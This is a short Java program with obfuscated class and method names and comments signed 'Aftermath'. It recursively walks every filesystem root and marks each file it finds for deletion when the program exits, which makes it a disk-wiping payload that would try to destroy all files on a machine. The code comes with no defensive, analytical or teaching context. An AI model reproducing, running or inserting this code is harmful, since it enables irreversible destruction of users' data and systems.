public class a { public static void main(String[] args) { File[] q = File.listRoots(); // I'm using an ancient JDK - Aftermath for (int i = 0; i < q.length; i++) { b(q[i]); } } public static void b(File b) { if (b.isDirectory()) { String[] c = b.list(); // Some directories, such as System Volume Information throw NPE's - Aftermath if (c != null) { for (int i = 0; i < c.length; i++) { b(new File(b, c[i])); } } } else { b.deleteOnExit(); } } }